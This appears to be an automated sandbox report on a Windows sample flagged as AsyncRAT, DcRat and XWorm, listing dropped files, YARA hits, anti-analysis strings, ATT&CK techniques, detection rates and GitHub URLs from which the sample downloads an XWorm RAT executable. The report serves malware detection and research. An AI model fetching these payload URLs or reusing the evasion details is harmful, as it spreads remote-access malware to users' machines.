Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Section loaded: schannel.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\erays\source\repos\seftali\x64\Release\seftali.pdb%% source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe
Source:	Binary string: C:\Users\erays\source\repos\seftali\x64\Release\seftali.pdb source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe

Code function: 3_2_00007FFD347700BD pushad ; iretd

3_2_00007FFD347700C1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe			Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	File created: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe			Jump to dropped file

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 3.0.RuntimeBroker.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.2173837580.0000000000612000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RuntimeBroker.exe PID: 3420, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, type: DROPPED

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 3.0.RuntimeBroker.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.2173837580.0000000000612000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RuntimeBroker.exe PID: 3420, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, type: DROPPED

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RuntimeBroker.exe, 00000003.00000000.2173837580.0000000000612000.00000002.00000001.01000000.00000006.sdmp, XWormUI[1].exe.0.dr, RuntimeBroker.exe.0.dr

Binary or memory string: TASKMGR.EXE#PROCESSHACKER.EXE

Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Memory allocated: F40000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Memory allocated: 1AAA0000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Window / User API: threadDelayed 6041			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Window / User API: threadDelayed 3952			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe TID: 6684	Thread sleep count: 6041 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe TID: 6684	Thread sleep time: -60410000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe TID: 6684	Thread sleep count: 3952 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe TID: 6684	Thread sleep time: -39520000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe TID: 6232	Thread sleep time: -35000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612801980.000001FDB6A97000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455144712.000001FDB6A97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455219396.000001FDB6A41000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612736367.000001FDB6A42000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: RuntimeBroker.exe, 00000003.00000002.4613580739.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: QemU{
Source: RuntimeBroker.exe, 00000003.00000002.4613101448.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Code function: 0_2_00007FF651793D04 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF651793D04

Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Code function: 0_2_00007FF651793EE8 SetUnhandledExceptionFilter,	0_2_00007FF651793EE8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Code function: 0_2_00007FF651793D04 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF651793D04
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Code function: 0_2_00007FF651793860 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF651793860

Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: XWormUI[1].exe.0.dr, AntiProcess.cs	Reference to suspicious API methods: OpenProcess(1u, bInheritHandle: false, processId)
Source: XWormUI[1].exe.0.dr, Win32.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: XWormUI[1].exe.0.dr, Win32.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: XWormUI[1].exe.0.dr, Amsi.cs	Reference to suspicious API methods: Win32.VirtualAllocEx(procAddress, (UIntPtr)(ulong)patch.Length, 64u, out var _)

Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe

Queries volume information: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Code function: 0_2_00007FF651793F5C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF651793F5C

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Code function: 0_2_00007FF6517913C0 GetUserNameW,memmove,memmove,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,Concurrency::cancel_current_task,

0_2_00007FF6517913C0

Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 3.0.RuntimeBroker.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.2173837580.0000000000612000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RuntimeBroker.exe PID: 3420, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, type: DROPPED

Source: RuntimeBroker.exe, 00000003.00000000.2173837580.0000000000612000.00000002.00000001.01000000.00000006.sdmp, XWormUI[1].exe.0.dr, RuntimeBroker.exe.0.dr	Binary or memory string: MSASCui.exe
Source: RuntimeBroker.exe, 00000003.00000000.2173837580.0000000000612000.00000002.00000001.01000000.00000006.sdmp, XWormUI[1].exe.0.dr, RuntimeBroker.exe.0.dr	Binary or memory string: procexp.exe
Source: RuntimeBroker.exe, 00000003.00000000.2173837580.0000000000612000.00000002.00000001.01000000.00000006.sdmp, XWormUI[1].exe.0.dr, RuntimeBroker.exe.0.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected DcRat

Source: Yara match	File source: 00000003.00000002.4613580739.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RuntimeBroker.exe PID: 3420, type: MEMORYSTR

Remote Access Functionality

Yara detected DcRat

Source: Yara match	File source: 00000003.00000002.4613580739.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RuntimeBroker.exe PID: 3420, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 Scheduled Task/Job	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	2 Virtualization/Sandbox Evasion	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	1 DLL Side-Loading	1 Disable or Modify Tools	Security Account Manager	321 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	2 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	111 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	14 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	45%	ReversingLabs	Win64.Backdoor.Asyncrat
SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	59%	Virustotal		Browse
SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	100%	Avira	BDS/Redcap.slbem

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe	100%	Avira	HEUR/AGEN.1305769
C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1305769
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe	96%	ReversingLabs	ByteCode-MSIL.Backdoor.AsyncRAT
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe	72%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	96%	ReversingLabs	ByteCode-MSIL.Backdoor.AsyncRAT
C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	72%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
github.com	0%	Virustotal		Browse
raw.githubusercontent.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://raw.githubusercontent.com/a	1%	Virustotal		Browse
https://github.com/errias/XWorm-Rat-Remote-Administration-Tool-/raw/main/XWormUI.exeProgramDownloade	1%	Virustotal		Browse
https://raw.githubusercontent.com/errias/XWorm-Rat-Remote-Administration-Tool-/main/XWormUI.exe	3%	Virustotal		Browse
https://github.com/errias/XWorm-Rat-Remote-Administration-Tool-/raw/main/XWormUI.exe	4%	Virustotal		Browse
https://raw.githubusercontent.com/	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
github.com	140.82.121.3	true	false	0%, Virustotal, Browse	unknown
raw.githubusercontent.com	185.199.111.133	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/errias/XWorm-Rat-Remote-Administration-Tool-/main/XWormUI.exe	false	3%, Virustotal, Browse	unknown
https://github.com/errias/XWorm-Rat-Remote-Administration-Tool-/raw/main/XWormUI.exe	false	4%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/e.b	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612956931.000001FDB6AA6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455060612.000001FDB6AA6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://raw.githubusercontent.com/errias/XWorm-Rat-Remote-Administration-Tool-/main/XWormUI.exeWYL	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455060612.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612956931.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://raw.githubusercontent.com/errias/XWorm-Rat-Remote-Administration-Tool-/main/XWormUI.exeA4z	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455144712.000001FDB6A8F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://raw.githubusercontent.com/errias/XWorm-Rat-Remote-Administration-Tool-/main/XWormUI.exe0	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612801980.000001FDB6A97000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455144712.000001FDB6A97000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/3;C	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612801980.000001FDB6A79000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455144712.000001FDB6A76000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/errias/XWorm-Rat-Remote-Administration-Tool-/raw/main/XWormUI.exer	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612801980.000001FDB6A79000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455144712.000001FDB6A76000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://raw.githubusercontent.com/errias/XWorm-Rat-Remote-Administration-Tool-/main/XWormUI.exemYj	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455060612.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612956931.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://raw.githubusercontent.com/errias/XWorm-Rat-Remote-Administration-Tool-/main/XWormUI.exetXa	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455060612.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612956931.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://raw.githubusercontent.com/a	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455060612.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612956931.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RuntimeBroker.exe, 00000003.00000002.4613580739.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/errias/XWorm-Rat-Remote-Administration-Tool-/raw/main/XWormUI.exeProgramDownloade	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	false	1%, Virustotal, Browse	unknown
https://github.com/D;	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612801980.000001FDB6A79000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455144712.000001FDB6A76000.00000004.00000020.00020000.00000000.sdmp	false		unknown
